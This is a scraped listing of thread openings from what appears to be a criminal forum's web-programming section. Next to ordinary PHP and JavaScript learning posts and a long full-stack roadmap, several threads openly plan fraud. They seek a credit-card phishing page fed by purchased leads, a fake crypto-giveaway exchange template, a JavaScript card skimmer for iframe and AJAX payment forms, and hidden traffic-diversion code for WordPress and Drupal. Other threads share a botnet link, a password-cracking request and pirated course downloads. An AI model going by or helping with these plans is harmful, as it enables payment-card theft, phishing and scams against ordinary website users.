![send.exploit.in](/proxy.php?image=https%3A%2F%2Fsend.exploit.in%2Fsend- fb.358d4b57.jpg&hash=824ffe54bac782fbc1c2b7f04639d4b7&return_error=1)

[ Exploit.IN Send

](https://send.exploit.in/download/015aee3788008721/#wOEeYZ_AB8i9U3wZrG_YSA)

Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.

send.exploit.in send.exploit.in

![send.exploit.in](/proxy.php?image=https%3A%2F%2Fsend.exploit.in%2Fsend- fb.358d4b57.jpg&hash=824ffe54bac782fbc1c2b7f04639d4b7&return_error=1)

[ Exploit.IN Send

](https://send.exploit.in/download/2134a223f1285ed0/#883ix_eUZCTwQKTfmfbQZw)

Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.

send.exploit.in send.exploit.in

Пароль: xss

веб макаки за что
ID: 67668b27b4103b69df375cb2
Thread ID: 124424
Created: 2024-10-09T11:02:15+0000
Last Post: 2024-10-22T16:36:57+0000
Author: dunkel
Replies: 23 Views: 2K

Мешают жыть честным мошенникам, пытаюсь автоматизировать действия на сайте, а там все селекторы вместе с кодом страниц динамически меняются, в итоге ферма натыкала на разлогин и бан в половине аккаунтов.

Меняются все (css, xpath и match). Причем меняются именно не какая то часть в селекторе, а весь селектор почти, что у кнопки или поля нет почти уникальных признаков, либо они такие же как у других и эмулятор уплывает куда то нажимая не туда. Что в таком случае делать? Я скоро сдамся и по координатам буду двигать реально

MYSQL DUMP TO EXCEL
ID: 67668b27b4103b69df375cbd
Thread ID: 118562
Created: 2024-07-10T09:58:01+0000
Last Post: 2024-09-10T02:05:47+0000
Author: Kelentovich
Replies: 9 Views: 2K

I want to convert a Mysql file I dumped from a database access to an Excel file so that it can be readable in a Tables, Rows & Columns format.

Please anyone mind telling me how I can do this without the need of connecting to the access.

Just the dumped file.​

Посоветуйте курс по PHP
ID: 67668b27b4103b69df375cc4
Thread ID: 112914
Created: 2024-04-19T20:20:20+0000
Last Post: 2024-06-10T17:10:45+0000
Author: sasha_nevskiy
Replies: 13 Views: 2K

Здраствуйте! Посоветуйте текстовый курс по php, можно на английском, ибо видео формат совсем не подходит(
Спасибо.

👩‍💻 Осваиваем FullStack Разработку в 2024 году (роадМап - JavaScript)
ID: 67668b27b4103b69df375cd6
Thread ID: 103382
Created: 2023-12-02T15:59:35+0000
Last Post: 2024-04-10T16:09:21+0000
Author: BlameUself
Prefix: Статья
Replies: 12 Views: 2K

Источник:XSS.is
Автор BlameUself

У тебя могут быть разные векторы цели, начиная с получения первой работы и заканчивая амбициозными планами о взломе Пентагона или создании своего стартапа/галеры. Все, что прийдет в голову, буквально!
Эта статья может быть полезна новичкам, и, да, здесь будет очень много моего ощущения реальности! Я прошел этот путь в этом году. Поехали. Буду рад фидбеку от олдов.


🦧Тебе не нужны курсы.
Программирование можно представить как написание маршрутов решения проблем. Пойдем дальше и обернем всю реальность в абстракцию.
Входные данные → система → выходные данные. (будут исключения; здравствуй, теория хаоса, но в данном контексте упростим).
Меняя входные данные, ты меняешь выходные. Подумай об этом — банальная мысль переворачивает сознание.
Сделаем паузу и посмотрим рассуждения Джорда Хоца.

Итак, почему же тебе не нужны курсы? Потому что твоей первой проблемой будет построение маршрута обучения. А первым выводом из решения будет осознание того, что, скорее всего, любые проблемы были решены до тебя. Смотри эту статью как исходники.


Смешное видео

Если тебе не присуща шизотипичность, то как ты оказался здесь? Ну ладно, ладно, просто нужно предупредить: не стоит строить воздушные замки.


🐉А сколько времени нужно, чтобы освоить фуллстек-разработку?Хех, это убийство дракона, у каждого своя история.
Сперва конкретизируем цель, иначе ответ на вопрос, сколько времени нужно, вероятно, будет больше нашего времени. Целью может быть начать зарабатывать деньги на своих навыках, либо создать продукт, который будет пользоваться спросом.
И никто не знает сколько времени тебе понадобится.
Слонов едет по частям. Упорство всегда побеждает талант.
И всем нужны метрики.
Я уверен что тебе точно хватит трех лет, и в тоже время срока в пол года будет недостаточно.
Просто работай каждый день. От 2-3 часов. Слонов едет по частям. Упорство всегда побеждает талант.


Кстати, а почему именно фуллстек?
Понимание разработки приложений в целом позволяет мне решать те задачи, которые мне действительно интересны.
Субъективно говоря, фронтенд-разработка — это какая-то неполноценная история, так же как и наоборот.
Под фуллстеком я понимаю комплексную разработку приложения.
Я слышал, что в биг техе существует похожее видень.
🎯🌖🎯✨)


Английский язык?
Yep
.


Несколько новых фреймворков с новой философией? Несколько обновлений старых без обратной совместимости? Новый мощный рантайм? С десяток новых свойств CSS? Легко.И все это на одной неделе.
Держи руку на пульсе и не верь обещаниям. Этот путь будет о балансе между градом хайпа новых решений.


IDE - VSCode. Со старта установи плагин Prettier. Изучите шорткаты.


Начнем с базы?
HTML - абсолютно основа. Очень просто. Это язык разметки.
Берем любой курс + курс от фрикодкемп.
Например -

+ курс тренажер от freecodecamp
Если нужна красота - делаем на секциях * на accessibility. Если нужна скорость делаем как делается.
На этом этапе будет полезно поверхностно ознакомиться с SEO. Также следует познакомиться с Emmet.


💅🏻 CSS.
Насколько простая идея на первый взгляд, настолько же разражающая на дальнейших взаимодействиях.
Не существует фреймворк решения, которое инкапсулирует знания базового CSS. Любой фреймворк требует от вас знания CSS!
В тоже время в CSS достаточно много ‘легаси’ (float, например), будьте осторожны со старой информацией.
Важно понимать несколько ключевых концепций.
Все есть блоки. Блочная модель. Элементы бывают блочные и строчные. Запомните: в CSS всё - блоки! Вот прям установи себе на рабочий стол картинку и увидь все в блоках.
box-model.jpg
Flexbox. Флексы это центровка по осям X и Y. Отличная игра - https://flexboxfroggy.com/
Grid. Это сетка. Центровка в формате сетки. Игра - https://cssgridgarden.com/
Дополнительно можно узнать о BEM - Документация BEM


На этом этапе, можно потратить пару недель на верстку. Познакомимся с Фигмой. Поискать макеты. А лучшее выбрать сайт который нравится, и повторить верстку.
Также познакомиться с консолью. Вся верстка возвращается к нам в браузер.

(Не самый лучший курс, но лучший из того что нашел)


💇🏼‍♀️ Дизайн.
Поскольку это не о дизайне статья, дам всего одну рекомендацию - осознанность в тенденциях развития современных приложений. Понимание тенденций и повторения их.


🐈‍⬛ Гитхаб.
Изучи GitHub. Любая проблема уже была решена до тебя, помнишь? Научись искать на GitHub.
Интересная тема - гитхаб дорки. Они помогут тебе в будущее не сливать конфиденциальные данные.


Git - это технлогия для командной разработки. Командной. Она прейдет с практикой работы в команде.
Отличный курс

Отличная игра (есть ru версия)


Первый большой выбор - Выбор языка. И ты должен сделать его сам.


Я выбрал JavaScript.
what-can-you-do-with-javascript- thumb.jpg
На данный момент это самый популярный язык в мире (учитывая, что TypeScript обычно сепарируют в рейтингах и он занимает 5-7 позицию) PHP теряет позиции, и если посмотреть на рейтинги зарплат, то он будет на самом дне (речь идет о зарубежных топах).
Однако важно понимать, что в мире существует множество проектов на PHP, которые генерируют миллиарды долларов. Да что там, данный форум, насколько я знаю, использует PHP.


📚 Скажу несколько слов о книгах. Внезапно, это просто буквы на бумаге. Они могут устаревать, быть плохо написанными или быть излишне огромными.
Порой курсы бывают лучше книг.
Зачастую документация превосходит курсы.
Всегда важна практика поверх всего.
В конце я оставлю список нескольких отличных книг, а также отмечу некоторые по ходу. Однако стоит помнить, что не существует одной книги, которую можно прочитать, чтобы узнать все.


☝🏻 Несколько моментов, которые хочу уточнить.
ES6 - это всего лишь большое обновление в JS. Они выходят каждый год. Это просто часть языка.
Node JS (или уже Bun?) - это рантайм (локация, среда выполнения), который предоставляет возможность запускать JS вне браузера.
TypeScript - это надмножество JavaScript, то есть он включает в себя все возможности JavaScript, а также добавляет некоторые дополнительные функции.
Это все JavaScript. Не что-то иное.


JavaScript начинаем изучать с курса

Удивительным образом этот курс избегает действительно сложных концепций, но за счет этого строит базовое понимание происходящего.
Далее идем на сайт - https://learn.javascript.ru/ и проходим его полностью, прорешивая все задачи, каждую. Второй и третий разделы частично устарели, но все, что касается JS, прекрасно.
После этого изучаем самые ключевые особенности языка. Можно использовать книгу Флэнагана (Javascript: The Definitive Guide). Также можно изучать темы из книги '[Вы не знаете JavaScript](https://github.com/getify/You-Dont-Know- JS)'(второе издание, то, что найдете на русском – первое).
Ключевые темы включают в себя: scope, this, замыкания, call/apply, стек, event loop, объекты, new, прототипное наследование, асинхронность (Promise API, Async/await), модули, fetch.
В тот момент, когда утка крякает в ответ на вопрос о том, все ли понятно, делаем перерыв и переходим к следующей теме)


🤖Используем ли мы GPT-модели при обучении?
Да
, мы используем GPT-модели.
Однако, что касается ML-типа Copilot, на первых этапах, пожалуй, не стоит.


Фронтенд фреймворк: React.
Сравниваем популярность React и конкурентов на сайте https://www.npmjs.com/ и не спрашиваем себя, какой фреймворк выбрать.
Также, выучив React, можно быстро перейти к мобильной разработке с использованием React Native.
Переход на Vue после React займет 2 недели, на Angular - 3-4 недели.
Ключевым элементом в современных фреймворках является компонентный подход. Все состоит из компонентов. Также важны концепция виртуального DOM и хуки.
Актуальный и лучший курс на данный момент -

Роутинг в React реализован отдельным пакетом, с ним все достаточно просто. Актуальный и лучший курс на данный момент


👾 Если эти курсы уже утратили актуальность, есть одно правило - вам не нужны курсы продолжительностью 30, 40, 80, 120 часов на Udemy. Есть исключения, но в целом выбирайте курсы меньшей продолжительности.


Кстати, npm это просто сайт с библиотеками для JavaScript. (*пакетный менжер)


Менеджер состояний
🏬 Redux - одна из концепций, которая сразу выбивала у меня почву из-под ног.
В некоторых приложениях нам понадобится стор, в котором хранятся стейты. Стейт

  • это просто объект с данными, которые мы таскаем сквозь компоненты и взаимодействуем с ним. Но взаимодействие с ним может показаться перегруженным на первых порах. Все это очень упрощено.
    Прочитайте какую-нибудь статью об этом - [статья о редаксе](https://www.freecodecamp.org/news/redux-for-beginners-the-brain- friendly-guide-to-redux/)
    Далее просто практика. Понимание придет в процессе, много читать об этом не стоит.
    Redux Toolkit - это современный способ работы с Redux (он вам и нужен), пакет react-redux необходим, если вы работаете с React - просто пакет. RTK Query необходим для асинхронной работы (с API).
    Я выбрал Redux из-за его популярности, во-первых, и достаточно высокой сложности, во-вторых, после которой любой другой менеджер состояний будет более простым и понятным.
    И да, вы можете не использовать менеджер состояний вообще и ограничиться тем, что есть из коробки. Но понимание этой концепции необходимо.
    Из асинхронных стейт-менеджеров часто используется react-query (в настоящее время он называется TanStack Query), и это не то же самое, что redux-query

📕 На этих этапах мы познакомимся с технологиями в мире CSS.
SASS - популярный способ работы с CSS, включающий в себя миксины, наследование и калькуляции. Может понравиться, но мне не зашло.
Tailwind - грубо говоря, это возможность писать CSS в HTML. На персональных проектах это невероятно удобная, модная и классная штука. Действительно способна ускорить разработку. Документация по Tailwind


👩🏻‍🎤 На самом деле тебе не нужно разрабатывать компоненты с нуля. Библиотеки компонентов спешат тебе на помощь. Осталось только выбрать из них.
От старой доброй Bootstrap до Material UI. Отдельно выделю Shadcn UI.


На этом этапе можно немного узнать про сборщики. Настройка их конфигурации очень сильно зависит от задачи, сама идея крайне проста.
Классический вариант - webpack. Модный - Vite.


Линтеры. Идея также очень проста. Варианты настройки очень гибкие. Популярное решение сейчас - ESLint.


⚙️Тестирование. Особо углублятся я бы не рекомендовал, но познакомится с тем как это работает будет плюсом.
Прекрасное видно от Улби
Тестирование JavaScript от А до Я (Jest, React Testing Library, e2e, screenshot)
Фреймворк Jest - https://jestjs.io/


🥳 Отлично, мы закончили фронтенд. Переходим к бекенду.


Начнем с Node.js.
Для ознакомления с нодой и формированием представлений о том, что это такое, можно почитать - https://metanit.com/web/nodejs/. Однако следует отметить, что часть информации там может быть устаревшей.
Повторяем тему модулей. Повторяем Event Loop
И смотрим лучший курс по Node.js


Будет необходимо ознакомиться с основными протоколами, немного узнать, что такое клиент-серверная архитектура, узнать, что такое REST. Все эти темы собраны в этом курсе -
Full HTTP Networking Course – Fetch and REST APIs in JavaScript


🗄 NoSQL
Я же писал, что данный роудмэп построен на моих ощущениях реальности, верно?
NoSQL базы проще. Начать их использовать легче, чем SQL. Поэтому я ставлю их впереди SQL.
Изучаем сперва курс чтобы понять, о чем идет речь.
NoSQL Database Tutorial – Full Course for Beginners
NoSQL - это зоопарк решений. В видео используется Astra DB, но я рекомендую начать с MongoDB.
Лучший курс по MongoDB - это официальный курс - https://learn.mongodb.com/.
Работа с MongoDB в JavaScript осуществляется через библиотеку Mongoose - https://mongoosejs.com/.
Из NoSQL баз я также могу выделить Firebase, но я сам не работал с ней.


📇SQL
Нужно будет немного изучить теорию баз данных. Неплохой вариант
[Database Design Course - Learn how to design and plan a database for beginners](https://www.youtube.com/watch?si=Hv4MNJG- UaUj88WE&v=ztHopE5Wnpc&feature=youtu.be&ab_channel=freeCodeCamp.org)
Далее изучаем основы SQL - тренажер sql-academy
В плане СУБД проще всего будет начать с SQLite, но этот выбор зависит от вас.
Прокачать решать SQL задачи можно в рамках - leetcode- top-50-sql
После этого стоит познакомится с ORM - [что такое ORM?](https://www.freecodecamp.org/news/what-is-an-orm-the-meaning-of-object- relational-mapping-database-tools/)
Для JavaScript популярными вариантами являются - TypeORMиSequelize.


У нас уже есть всё, чтобы писать бекенд! Будем использовать самое популярное решение - Express. В целом, это просто фреймворк для написания бекенда, ничего сложного, просто практика.
Если чувствуете, что не хватает понимания, можно пройти курс, хотя мне он кажется избыточным по продолжительности -
Node.js and Express.js - Full Course
На этом этапе мы уже готовы разрабатывать комплексные приложения.
Посмотрите, как реализовывать то, что вам интересно, с помощью MERN Stack. Вы уже готовы, но лучше дойдем путь до конца. MERN Stack не лучшее решение.


Ух, куда в этом роудмапе впихнуть TypeScript — это вопрос. Кто-то скажет, что он должен идти в самом начале, но я оставлю его здесь.
Не существует единого мнения о TypeScript, истина в том, что де-факто это стандарт современной коммерческой разработки. Будут люди, для которых TS — излишний, перегруженный или даже ломающий логику JavaScript. Будут те, для которых жизнь навсегда изменится после добавления TS.
Правда также в том, что после TS остальные языки будут более понятными, поскольку TS делает JS более взрослым.
Использовать ли его в своих проектах на постоянной основе решать вам, главное не бойтесь применения.
Мне кажется хорошим способом познакомиться с TS будет книга “TypeScript быстро. Яков Файн Антон Моисеев.”, а также тренажер <https://code- basics.com/ru/languages/typescript>


🎬 Готовы? - Next.js
Самый простой способ разработки фуллстек приложений.
Теперь у нас встроенный и супер удобный роутинг, работа с SEO, возможность тут же писать бек, все это удобно собрать и даже удобно задеплоить на модный Vercel.
Хотя многое о Next.js - это серверные компоненты, но это большая тема.
То есть мы изначально могли начать с Next.js? Могли, но быть Next.js разработчиком довольно ограниченно, не так ли?
Лучший курс - Next.js 14 Full Course 2023 | Build and Deploy a Full Stack App Using the Official React Framework + документация


Немного возвращаемся к теории. На данном этапе важно изучить "аутентификацию". Выделю отдельно JWT токены:
Курс от Улби
Курс от FreeCodeCamp
Документация - jwt.io


🔐 Реализовывать аутентификацию можно разными способами.
Поскольку в рамках данного роудмапа я привел вас к Next, то и библиотека будет NextAuth.
Из плюсов, она поддерживает авторизацию по OAuth.
Из модных, упрощенных решений выделю Clerk. Возможно, у такого подхода будет будущее, хотя отдавать такие штуки на аутсорс решения с очевидными минусами.


Возможно, на этом этапе вы поняли, что хотите больше прокачиваться в бекенде и реализовывать более комплексные проекты.
Фреймворк Nest.js спешит к вам - ссылка на сайт.
Хороший курс на Udemy, который они рекомендуют в своей же документации. На русском языке есть неплохой материал от Anton Larichev, хотя, частично, он устарел в плане технологий, а также уровень скорее для опытных разработчиков чем для новичков, ввиду того что автор не ставит своей целью подробно объяснить все аспекты.
Оба курса есть на рутрекере.


На этом этапе имеет смысл узнать немного больше о объектно-ориентированном программировании (ООП). До этого мы работали с функциональной парадигмой в React.
Есть много книг по ООП для тех, кто хочет глубже понять эту парадигму.
ООП на простых примерах. Объектно-ориентированное программирование


Пройтись по паттернам тоже не будет лишним, хотя, если что-то окажется непонятным, не стоит беспокоиться. С некоторыми из них вы еще не скоро встретитесь, а другие могут быть переосмыслены к тому времени.
За основу возьмите книгу "Head First Design Patterns " (второе или актуальное издание) и самостоятельно проработайте примеры на JavaScript.
Отдельно выделю MVC паттерн - видео MVC, MVVM Архитектура. Наглядная теория и примеры


Как писать код... Ухх, не знаю, есть ли смысл упоминать классическую историю про Чистый Код Мартина или Совершенный код МакКоннелла. Вместо этого предлагаю обратить внимание на:

На данном этапе ознакомьтесь с принципами SOLID - видео от Улби


Далее, в плане бека, обратите внимание на gRPC. Там и до микросервисов будет рукой подать, и в целом выйти уже за пределы этого роудмэпа. Однако, прежде чем погружаться в микросервисы, станьте мастерами в монолитах.


Поскольку мы коснулись архитектуры, относительную популярность во фронте набирает FSD, так что имеет смысл ознакомится - официальный сайт.


🌏Ну что, идем в большой мир? Готовы ли мы? Нет.


📺 Нам нужно научиться работать с Linux, а именно с терминалом.
Берем виртуальную машину и устанавливаем туда любой дистрибутив. Затем используем его несколько недель для решения бытовых задач.
Смотрим курс
Introduction to Linux – Full Course for Beginners
Читаем книгу 'Командная строка Linux. Полное руководство ' (2-е или актуальное издание).


Нашему маленькому приложению нужно где-то жить, и раз уж Next - красная нить roadmap'а, я начну с Vercel.
Деплой на Vercel Next-приложения до невозможности прост. Скачиваем CLI и вводим одну команду deploy (примерно так, точно посмотрите в документации). Минусы - мы привязаны к Vercel, и переехать будет сложно.
Деплой на рандомный VPS-сервис. VPS - это буквально ваш Linux на виртуалке, которым вы пользовались несколько недель, только он находится не у вас дома. Процесс деплоя будет сложнее, но это необходимые знания.
А далее мы хотим идти в ногу со временем, поэтому уходим от рандомного VPS- сервиса, например, на Amazon Web Services.
Невероятно продолжительный курс AWS Certified Cloud Practitioner 2023 | Full Training Course
AWS - это буквально десятки сервисов - топ 50+ и они постоянно добавляют новые - новые (видео вышло сегодня).
🐳 Где-то здесь мы знакомимся с Docker (это как маленькие линуксы с твоей виртуалки, только их много, и каждый отвечает за свою задачу) - Docker - Полный курс Docker Для Начинающих (этот курс поймет буквально любой)
А также открываем для себя CI/CD - улби


⛄️Ееее, мы ваще ребята.
Только все эти знания не сделали нас разработчиками. Только проекты. Только практика. Практика, и еще немного практики.
В какой-то момент вам может показаться, что все знания в голове абсолютно не пересекаются между собой. В этот момент я рекомендую сделать несколько проектов, просто копируя код с YouTube.
Например, канал Code With Antonio
Программирование - это решение задач. Проекты. Практика.


Темы со *:

  • Вы, вероятно, удивитесь, но на текущем этапе вы можете заняться десктоп-разработкой. Несмотря на то, что мой опыт разработки на ElectronJS скорее негативный, это не помешало создателям приложения Discord. Фреймворк - electronjs.org.
  • Если вас интересует web3, то на форуме я видел roadmap, но начать можно с этого курса Learn Blockchain, Solidity, and Full Stack Web3 Development with JavaScript Сейчас хайп спал, но будет новая волна.
  • Безопасность? В контексте веба начать изучение безопасности можно с портала - portswigger. Интересует больше? TryHackMe невероятно дружелюбен к новичкам. Пройдите сперва пару сотен бесплатных комнат - ‣ https://github.com/winterrdog/tryhackme-free-rooms.
  • Алгоритмы. Ухх, нужны ли? Ты мне скажи. Однозначно прочти 'Грокаем алгоритмы' Адитья Бхаргава, если интересна тема исскуственного интелекта, то и 'Грокаем алгоритмы искусственного интеллекта' Ришала Харбанса. Немного за скоупом, прекрасная книга о рекурсий - The recursive book of recursion. Хочешь дальше? leetcode , только не стоит решать по порядку, а то будет каша в голове. Найди роудмпе по leetcode, например - roadmap от neetcode или возьми книгу Алгоритмы Кормена и читай главу и прорешевай задачи по ней.
  • Регулярные выражения? Да. После прочтения книги 'Изучаем регулярные выражения. Форт Б.' все станет понятно. Они проще, чем тебе кажется.
  • Криптография? Интересная тема. Начни с книги 'Сингх Саймон - Книга шифров. Тайная история шифров и их расшифровки'.
  • Ну и раз уж мы гуляем, то я также порекомендую тебе книги Столярова.

Дополнительные рекомендаций:

  • По поводу английского. Если все плохо. Начните с небольшого. Переведите все устройства. Начните смотреть контент с русскими субтитрами, а потом перейдите на английские, гуглите и общайтесь с GPT на английском.
  • На каждый случай в жизни на GitHub существует awesome репозиторий, в котором есть буквально все о той технологии, которой он посвящен.
  • Также, в целом, сейчас множество университетов выкладывают свои курсы в свободный доступ. Помните об этом. Курс Harvard CS50 2024 - база.
  • По ходу статьи я часто вставлял видео с канала Улби. Помимо всего прочего, у него есть прекрасный курс. Я не буду делать рекламу, но найти его можно на зеленом YouTube. Хотя денег он стоит.
  • Используй X(экс твиттер). Алгоритмы быстро окутят в бесконечность тематического контента и края современных технологий. Попробуй - #100DaysOfCode
  • Используй https://chromewebstore.google.com/d...be-rec/khncfooichmfjbepaaaebmommgaepoid?pli=1 или аналогичное расширение, когда смотришь YouTube.
  • Избегай Ада Туториалов. Будет достаточно тех курсов, которые указаны в данной статье. Подробнее о Tutorial Hell
  • Больше роудмепов? roadmap.sh

Также хочу сказать:

  • Get comfortable being uncomfortable
  • Impostor syndrome абсолютная норма!

🍀 Удачи в убийстве дракона!

How to create a PHP Scam Page for phishing
ID: 67668b27b4103b69df375ce0
Thread ID: 108868
Created: 2024-02-23T00:56:11+0000
Last Post: 2024-03-13T08:41:20+0000
Author: тихий спамер
Replies: 11 Views: 2K

Hello everyone !

Im new at spams but im spending all my days to learn how to do spams, I already learned:
1. how to setup cpanel to host a php scam page,
2. I got a not flagged domain, btw I want to spam CC site , to get fresh CC's from my country,
3. I got private leads that I paid 200$ for 50k with name, address, email, phone number and more.
4. I got a friend that will send the spams, so I dont need to worry about learning how to spam, I prefer learn it my self later

So now I need to learn about scam pages, I dont know how I can make one and make it not go flagged. Or even how to clone one.
I know that you probably thinking is one more dummy guys that want to get all fast and doing nothing, im not like that. Any help is appreciated because I will use it to learn
Because I'm ready to spend my time to learn about this Phishing/Spams topic. So basically I want to spam a site where the people will put their cc infos and I will receive.
It's like a netflix/paypal scam page, but I want to make from other website, and I dont know how I can start making it, so if you understand how it works and want to help
me in this process, you can give me some help by replying this on this thread or starting a private conversationg with me in the xss forum .

Thanks for everyone <3

Как обезопасить сервер от хостера?
ID: 67668b27b4103b69df375d05
Thread ID: 95070
Created: 2023-08-07T18:04:59+0000
Last Post: 2023-09-21T15:00:34+0000
Author: user47
Replies: 24 Views: 2K

Добрый вечер. Мне все понятно касаемо обратного прокси и абузоустойчивого хостинга. Но как можно обезопасить данные на сервере(код приложения, записи в базе данных, файлы) от хостера(или третьих лиц заполучивших прямой доступ к серверу)? Искал в материалы на эту тему, но там рассматривается лишь варианты с шифрованием системы через панель управления хостинга, но понятно что при желании пароль можно через эту же панель управления перехватить.

Написание своего кода без КОПИПАСТА!)
ID: 67668b27b4103b69df375d1c
Thread ID: 81580
Created: 2023-02-09T05:18:10+0000
Last Post: 2023-05-23T10:26:26+0000
Author: codder147
Replies: 17 Views: 2K

Всем привет, изучаю web программирование( пока что стек - php, mysql, js). На данный момент пишу backend сайта на чистом php( ORM, без фреймворков, по курсу на ютуб, тщательно разбираю код, без копипаста), основы ООП + инкапсуляции, наследования, полиморфизма более менее понятны / параллельно треню кодинг на codewars/leetcode.

Пока что тяжеловато писать самостоятельно, в некоторых случаях при решении той или иной задачи анализирую код/решения более опытных программистов.

Вопрос к вам, уважаемые кодеры, какое по/проекты в будущем посоветуете написать для улучшения навыков кодинга? Основная цель: поменьше заниматься скрипткиддингом, побольше что-то свое писать( желательно не говнокод) )))))))

Высокий ранг на codewars/leetcode значительно улучшит скил понимания основ кодинга? ( По книгам тяжело мне учиться, реальные жизненные задачи, куда больше мотивируют).

ищу сорцы простой админки
ID: 67668b27b4103b69df375d20
Thread ID: 75260
Created: 2022-11-04T19:41:50+0000
Last Post: 2023-04-24T03:41:12+0000
Author: xmyriy
Replies: 8 Views: 2K

Дайте плиз сорцы простой админки, можно из любого бота. Гитхаб не впечатлил. Нужно->получение данных от бота/Вход/отображение данных из базы/доп. функции.

Бесплатные Landing страницы / копии сайтов за ваш отзыв:)
ID: 67668b27b4103b69df375d35
Thread ID: 76939
Created: 2022-11-29T09:09:14+0000
Last Post: 2023-01-08T22:48:34+0000
Author: SoulCoin
Replies: 11 Views: 2K

Бесплатные Landing страницы / копии сайтов за ваш отзыв:)
Жду ваши просьбы на телеграмм: https://t.me/soulcoindev

Где можно найти шаблон "фейк бирж BTC ETH"?
ID: 67668b27b4103b69df375d3a
Thread ID: 58333
Created: 2021-10-30T01:04:54+0000
Last Post: 2022-11-29T16:49:13+0000
Author: Cryptex777
Replies: 13 Views: 2K

Где можно найти шаблон "фейк бирж BTC ETH"?
Что-то на подобие крипто стримов , только сайт. Типо кидай сюда 1 биткойн а тебе потом придет 10 биткойнов где такое можно найти , подскажите пожалуйста? Могу подкинуть копейку за помощь.

В поисках скрипта корзины на сайт
ID: 67668b27b4103b69df375d3c
Thread ID: 41488
Created: 2020-08-29T08:35:51+0000
Last Post: 2022-11-23T10:15:26+0000
Author: lo4dmin
Replies: 2 Views: 2K

Есть у кого-нибудь готовое решение на php + js для корзины?
требования:
- пользовательская сессия
- товар подтягивает из базы
- дизайн (было бы хорошо)
если есть уже с дизайном вообще круто.

[Дмитрий Лаврик] PHP – базовый курс (2020)
ID: 67668b27b4103b69df375d64
Thread ID: 47666
Created: 2021-02-05T14:57:42+0000
Last Post: 2021-12-22T09:51:21+0000
Author: DikTor
Replies: 2 Views: 2K

Автор: Дмитрий Лаврик
Название: PHP – базовый курс

Описание:
PHP – базовый курс от Дмитрия Лаврика. На курсе разбираются основные темы и приёмы программирования на PHP в процедурном стиле.

Курс предназначен для тех, кто:
Владеет основами программирования на языке PHP
Не понимает, как решать реальные задачи на PHP
Хочет освоить базовые темы кодинга на PHP в процедурном стиле.

Вы получите:
8 групп видео с подробной структурированной информацией
Дополнительные материалы и исходные коды

> Продажник

> Скачать

[Udemy] Изучаем PHP с нуля (базовый курс)
ID: 67668b27b4103b69df375d70
Thread ID: 47067
Created: 2021-01-21T08:37:51+0000
Last Post: 2021-12-09T08:29:29+0000
Author: HackLiLBITCH
Replies: 3 Views: 2K

yadi.sk

[ Изучаем PHP с нуля (базовый курс)

](https://yadi.sk/d/zEqSc-d2DeGFJA?w=1)

View and download from Yandex.Disk

yadi.sk yadi.sk

MsSql password crack
ID: 67668b27b4103b69df375d80
Thread ID: 52120
Created: 2021-05-24T14:46:01+0000
Last Post: 2021-08-05T21:05:29+0000
Author: POiR
Replies: 6 Views: 2K

user: sa
pass : OuqUuFZqPSopdkTwKgEBBg==

how it can be cracked or decrypted ?

JS-BotNet
ID: 67668b27b4103b69df375d82
Thread ID: 52756
Created: 2021-06-10T13:27:27+0000
Last Post: 2021-07-11T09:18:05+0000
Author: EmeliRouse
Replies: 3 Views: 2K

Hidden content for authorized users.

HiveMind JS-BotNet

A Simple JS and PHP Botnet, written by a very nice person.
For Educational Use Only

https://github.com/ardvarknet/JS-BotNet

Куда правильнее вставить код для слива трафика?
ID: 67668b27b4103b69df375d83
Thread ID: 51255
Created: 2021-04-29T19:53:28+0000
Last Post: 2021-06-26T09:49:28+0000
Author: hCaptcha
Replies: 3 Views: 2K

Всем привет, знающие люди подскажите, куда правильнее вставлять код слива трафика в такие cms как:
вордпрес и друпал.
За любой грамотный и адекватный совет зарание спасибо.

если ошибся разредом, простите.

encoder
ID: 67668b27b4103b69df375d84
Thread ID: 38252
Created: 2020-06-08T14:10:28+0000
Last Post: 2021-06-15T14:34:23+0000
Author: Ruwintoss
Replies: 1 Views: 2K

searching for encoder.
simple work we work for $BTC

Получение списка соцсетей посетителя сайта
ID: 67668b27b4103b69df375d94
Thread ID: 49051
Created: 2021-03-07T18:31:24+0000
Last Post: 2021-03-09T04:40:03+0000
Author: Resurgentis
Replies: 3 Views: 2K

Хотелось бы прикрутить к себе на сайт такую фичу, но к сожалению нигде не смог найти подобных решений.
Каким образом возможно реализовать получение списка сервисов в которых зарегестрирован юзер? Подобное уже реализовано на сайте Whoer.net.

Кто поможет с php? Отблагодарю.
ID: 67668b27b4103b69df375d99
Thread ID: 44935
Created: 2020-11-29T06:10:24+0000
Last Post: 2021-02-20T15:26:24+0000
Author: rpln
Replies: 2 Views: 2K

Добрый день.
Кто сможет помочь реализовать такую простую админку на php?
Возможно кто-то поможет, договоримся за символическую сумму в качестве благодарности.

Есть файл внутри него такие значения
«?php
$odin = “1”
?>
«?php
$dva = “два”
?>
«?php
$tri = “три3”
?>

Нужно написать админку простую без базы данных, чтобы в админке было так :

Какой-то текст 1
Первое значение : 1 (редактировать)

Какой-то текст 2
Второе значение : два (редактировать)

Какой-то текст 3
Третье значение : три3 ( редактировать)

Кнопка сохранить

По итогу нужно, чтобы значения менялись и в файле и в админке и при выводе на других страницах через echo или print.

JS сниффер картона
ID: 67668b27b4103b69df375d9a
Thread ID: 48361
Created: 2021-02-19T17:48:32+0000
Last Post: 2021-02-19T21:08:50+0000
Author: heybabyone
Replies: 9 Views: 2K

Нужно написать универсальный js снифер картона. Сам js помещается в самом низу

.

Есть две проблемы.
1. На сайте может сформироваться два тега iframe внутри которых форма картона. Нужно перечислить все iframe теги, и submit'ить форму для получения по input полям данные. Как лучше всего реализовать если на странице есть форма, есть несколько айфрейм, внутри которых еще формы?
2. Как снифать аякс запрос? $("form").submit(function(event){}); - не канает. у меня

$365 Javascript Course
ID: 67668b27b4103b69df375d9f
Thread ID: 41555
Created: 2020-08-31T04:36:13+0000
Last Post: 2021-02-01T01:42:14+0000
Author: plexus
Replies: 6 Views: 2K

https://cache.cracked[.]to/66b95f81c440b3a77717cdcb20f716d7372e5321/68747470733a2f2f6d656469612e646973636f72646170702e6e65742f6174746163686d656e74732f3637373135333338383331313437383330322f3734343535313537323434303231393637382f756e6b6e6f776e2e706e67
Sales post: https://cleverprogrammer.unstacksite.com/pwj
Size:- 36.39 GB , Total lessons:- 205
:) happy learning
Download Link:-

Hidden content for authorized users.

https://mega.nz/folder/Ji5xXLKR#umvMLZnVTA7bZ-H_ox6FRg

Анализ PHP-скриптов
ID: 67668b27b4103b69df375dab
Thread ID: 44525
Created: 2020-11-19T10:41:17+0000
